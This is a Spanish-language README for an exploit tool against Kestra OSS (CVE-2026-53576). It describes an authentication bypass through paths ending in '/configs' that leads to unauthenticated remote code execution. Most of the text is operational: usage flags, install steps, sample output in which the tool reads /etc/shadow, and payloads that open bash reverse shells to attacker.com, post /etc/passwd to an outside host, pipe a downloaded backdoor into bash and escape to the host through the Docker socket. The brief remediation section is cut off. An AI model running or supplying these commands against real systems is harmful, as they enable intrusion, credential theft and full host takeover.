
Exploit de RCE no autenticado en Kestra (CVE-2026-53576)
Omisión crítica de autenticación que permite la ejecución remota de código sin autenticación
Exploit • Detalles de la Vulnerabilidad • Impacto • Remediación
Esta herramienta es solo para fines educativos y de pruebas de seguridad autorizadas.
- NO la uses contra sistemas que no sean de tu propiedad o para los que no tengas permiso explícito por escrito para realizar pruebas.
- NO la uses para actividades ilegales.
- El autor NO es responsable de cualquier uso indebido de esta herramienta.
- Úsala bajo tu PROPIO RIESGO.
CVE-2026-53576 es una vulnerabilidad crítica en las versiones de Kestra OSS hasta la v1.3.20 que permite la ejecución remota de código sin autenticación mediante una omisión del filtro de autenticación.
| Atributo | Valor |
|---|---|
| ID de CVE | CVE-2026-53576 |
| Gravedad | Crítica (CVSS 9.8) |
| Tipo de Vulnerabilidad | Omisión de autenticación + RCE |
| Producto Afectado | Kestra OSS |
| Versiones Afectadas | ≤ v1.3.20 |
| Vector de Ataque | Red |
| Autenticación Requerida | Ninguna |
| Interacción del Usuario | Ninguna |
El filtro de autenticación en Kestra contiene un fallo lógico crítico:
// Vulnerable code in AuthenticationFilter.java:53
boolean isConfigEndpoint = request.getPath().endsWith("/configs")
Esta comprobación verifica si cualquier solicitud de API termina en /configs, en lugar de comparar la ruta exacta. Esto permite a los atacantes omitir la autenticación añadiendo /configs a cualquier endpoint.
POST /api/v1/main/flows/configs (omite la autenticación)POST /api/v1/main/executions/configs/configs (omite la autenticación)# Any path ending in /configs bypasses authentication
/api/v1/main/flows/configs # Create flows
/api/v1/main/executions/configs/configs # Execute flows
/api/v1/{tenant}/flows/configs # Any tenant
/api/v1/{tenant}/executions/configs/configs # Any tenant
python3 kestra_exploit.py <target_ip>
# Custom port
python3 kestra_exploit.py 192.168.1.100 -p 8080
# HTTPS
python3 kestra_exploit.py 192.168.1.100 --https
# Custom command
python3 kestra_exploit.py 192.168.1.100 -c "whoami && hostname"
# Check Docker socket access
python3 kestra_exploit.py 192.168.1.100 --docker-check
# Clean up after exploitation
python3 kestra_exploit.py 192.168.1.100 --cleanup
# Full attack with all options
python3 kestra_exploit.py 192.168.1.100 -p 8080 --docker-check --cleanup -c "id > /tmp/proof.txt"
| Opción | Descripción |
|---|---|
target | Dirección IP u hostname del objetivo (obligatorio) |
-p, --port | Puerto (por defecto: 8080) |
--https | Usar HTTPS en lugar de HTTP |
-c, --command | Comando personalizado a ejecutar |
--docker-check | Comprobar el acceso al socket de Docker |
--cleanup | Eliminar el flujo después de la explotación |
--delay | Retardo entre solicitudes (por defecto: 2s) |
pip install requests
git clone https://github.com/yourusername/CVE-2026-53576
cd CVE-2026-53576
python3 kestra_exploit.py --help
python3 kestra_exploit.py 192.168.1.100
Salida:
============================================================
Kestra Unauthenticated RCE Exploit
Security Research Tool - Authorized Use Only!
============================================================
[*] Target: 192.168.1.100:8080
[*] Protocol: http
============================================================
[Step 1] Creating malicious flow...
[*] Creating malicious flow at http://192.168.1.100:8080/api/v1/main/flows/configs
[*] Command: id > /tmp/proof.txt; cat /etc/shadow | head -1 >> /tmp/proof.txt
[+] Flow created successfully! (Status: 200)
[+] Flow revision: 26
[Step 2] Triggering execution...
[*] Triggering execution at http://192.168.1.100:8080/api/v1/main/executions/configs/configs
[+] Execution triggered successfully!
[+] Execution ID: 4nxNTHPk2WInfrnxQa6KF2
[+] Status: CREATED
[Step 3] Checking execution status...
[+] Execution status: SUCCESS
[*] Final status: SUCCESS
[+] Exploitation complete!
[*] To verify the attack succeeded, check the target system for:
- /tmp/proof.txt containing command output
- Kestra UI execution logs
- Web UI: http://192.168.1.100:8080/ui/
python3 kestra_exploit.py 192.168.1.100 -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
python3 kestra_exploit.py 192.168.1.100 -c "curl -X POST http://attacker.com/exfil -d @/etc/passwd"
python3 kestra_exploit.py 192.168.1.100 --docker-check --cleanup
| Categoría | Gravedad | Descripción |
|---|---|---|
| Confidencialidad | ⚠️ Crítica | Leer cualquier archivo (contraseñas, secretos, configuraciones) |
| Integridad | ⚠️ Crítica | Crear/modificar/eliminar flujos y datos |
| Disponibilidad | ⚠️ Alta | Apagar el sistema, agotamiento de recursos |
| Autenticación | ⚠️ Crítica | Omisión total de Basic-Auth |
| Escalada de Privilegios | ⚠️ Crítica | Los comandos se ejecutan como root (uid=0) |
| Escape del Contenedor | ⚠️ Crítica | Compromiso del host a través del socket de Docker |
Un atacante no autenticado puede:
Ejecutar comandos arbitrarios como root:
# Read secrets
cat /app/conf/application.yml
# Reverse shell
bash -i >& /dev/tcp/attacker.com/4444 0>&1
# Install malware
curl http://attacker.com/backdoor.sh | bash
Realizar pivoting al sistema host (si el socket de Docker está montado):
docker run -v /:/host --privileged alpine chroot /host
Acceder a los metadatos de la nube (si se encuentra en un proveedor de nube):
curl http://169.254.169.254/latest/meta-data/
Apagar las instancias vulnerables:
sudo systemctl stop kestra
Bloquear el acceso público:
iptables -A INPUT -p tcp --dport 8080 -j DROP
Aplicar reglas de firewall: